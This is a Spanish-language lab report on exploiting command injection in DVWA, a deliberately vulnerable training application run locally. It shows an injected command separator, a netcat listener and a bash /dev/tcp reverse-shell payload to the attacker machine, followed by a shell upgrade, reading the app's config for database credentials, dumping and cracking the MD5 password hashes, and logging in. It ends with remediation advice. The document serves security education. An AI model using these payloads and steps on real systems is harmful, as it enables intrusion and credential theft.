🔹 Introducción
En este informe se analiza la vulnerabilidad de Command Injection en la aplicación Damn Vulnerable Web Application (DVWA). Se demuestra cómo un atacante puede ejecutar comandos en el sistema, obtener acceso mediante una reverse shell y comprometer completamente la aplicación.
🎯 Objetivo
Evaluar la vulnerabilidad de Command Injection en DVWA y analizar el impacto tras su explotación.
🖥️ Entorno
- Kali Linux (VirtualBox)
- DVWA (Docker)
- URL: http://localhost:8080
Red:
- Kali: 10.0.2.15
- DVWA: 172.17.0.x
🔍 Identificación de la vulnerabilidad
Se identifica una vulnerabilidad en la siguiente ruta:
/vulnerabilities/exec/
El campo de entrada permite ejecutar comandos del sistema sin validación.
🧪 Prueba de concepto
Se realiza una prueba básica de ejecución de comandos:

10.0.1.15 ; ip a
✅ Resultado
Se confirma la ejecución de comandos al obtener información del sistema objetivo.
💣 Explotación
🔥 Reverse Shell
Se establece una conexión inversa desde el servidor vulnerable hacia la máquina atacante.
Listener en Kali:
rlwrap nc -lvnp 4444
Payload ejecutado:
; bash -c «bash -i >& /dev/tcp/10.0.2.15/4444 0>&1»

🧠 Post-Explotación
🧰 Mejora de la Shell (TTY Upgrade)
Tras obtener acceso mediante reverse shell, la sesión inicial presenta limitaciones:
- Sin control de terminal
- Sin autocompletado
- Problemas con señales (CTRL+C)
Para mejorar la interacción:
script /dev/null -c bash
Ajustes adicionales:
CTRL + Z
stty raw -echo
fg
export TERM=xterm
reset
Resultado:
- ✔ Interacción más fluida
- ✔ Mejor control del terminal
- ✔ Entorno más cercano a una shell real
📋 Información del sistema

whoami
www-dataid
uid=33(www-data)uname -a
Linux (contenedor Docker)
📂 Acceso a archivos sensibles
Se accede al siguiente archivo:
/var/www/html/config/config.inc.php
🔑 Credenciales obtenidas

db_user = app
db_password = vulnerables
db_database = dvwa
🗄️ Acceso a base de datos
Conexión a MariaDB:
mysql -u app -p
Consulta realizada:
SELECT user, password FROM users;
🔓 Extracción de credenciales
| Usuario | Hash MD5 |
|---|---|
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
🔑 Cracking de hashes
Se identifican como MD5 y se crackean mediante diccionario:
| Usuario | Password |
|---|---|
| admin | password |
| gordonb | abc123 |
| 1337 | charley |
| pablo | letmein |
| smithy | password |
🔐 Acceso a la aplicación
Se valida acceso en:
/login.php
Ejemplo:
gordonb / abc123 → acceso válido
⚠️ Impacto
La vulnerabilidad permite:
- 💀 Ejecución remota de comandos (RCE)
- 💻 Acceso al sistema (reverse shell)
- 📂 Lectura de archivos sensibles
- 🔑 Exposición de credenciales
- 🗄️ Acceso a base de datos
- 🔓 Compromiso de cuentas de usuario
📊 Nivel de severidad
🔴 CRÍTICO
🛡️ Recomendaciones
- Validar y sanitizar entradas del usuario
- Evitar ejecución directa de comandos del sistema
- Uso de funciones seguras (
escapeshellarg,escapeshellcmd) - Almacenar contraseñas con algoritmos seguros (bcrypt, Argon2)
- Principio de mínimo privilegio
- Segregar servicios (web / base de datos)
🧠 Conclusión
Se ha logrado un compromiso completo de la aplicación, demostrando un flujo real de ataque:
Command Injection
↓
Reverse Shell
↓
Acceso al sistema
↓
Credenciales
↓
Base de datos
↓
Compromiso total
⚠️ Nota importante
Todos los procedimientos descritos en este documento deben realizarse exclusivamente en entornos controlados y con autorización explícita. El uso no autorizado de estas técnicas es ilegal y contrario a la ética profesional.
🎓 Propósito educativo
Este contenido tiene fines exclusivamente educativos, orientado al aprendizaje de técnicas de ciberseguridad en entornos controlados como DVWA.
